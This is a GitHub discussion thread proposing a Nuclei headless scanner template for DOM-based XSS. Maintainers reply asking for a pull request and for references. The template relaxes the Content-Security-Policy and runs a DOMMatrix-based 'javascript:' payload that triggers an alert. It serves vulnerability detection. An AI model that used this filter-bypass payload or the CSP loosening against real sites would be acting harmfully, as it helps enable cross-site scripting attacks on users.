Dommatrix xss

[MR-pentestGuy]

id: Dom-matrix-xss

info:
  name: Domatrix-xss
  author: MrpentestGuy
  severity: medium
  tags: headless

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: setheader
        args:
          part: response
          key: X-Frame-Options
          value: foo
      - action: setheader
        args:
          part: response
          key: If-None-Match
          value: foo
      - action: script
        args:
          hook: true
          code: |
            x=new DOMMatrix;
            matrix=alert;
            x.a=1337;
            location='javascript'+':'+x
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload
      - action: script
        name: alerts
        args:
          code: "location='javascript'+':'+x"
    matchers:
      - type: word
        part: alerts
        words:
          - "1337"
    extractors:
      - type: kval
        part: alerts
        kval:
          - alerts

[olearycrew]

@princechaddha it looks like this is a suggested template - should we add it to the repository?

@MR-pentestGuy you could open a pull request directly against this repository if you want! See https://github.com/projectdiscovery/nuclei-templates/blob/main/CONTRIBUTING.md for a step-by-step set of instructions 😄

[princechaddha]

Hi @MR-pentestGuy, The response time to this discussion was much longer than usual. Thank you for taking the time to share this template and for contributing to this project 🍻

Could you kindly provide references for this template, so that the team can validate it? Thank you.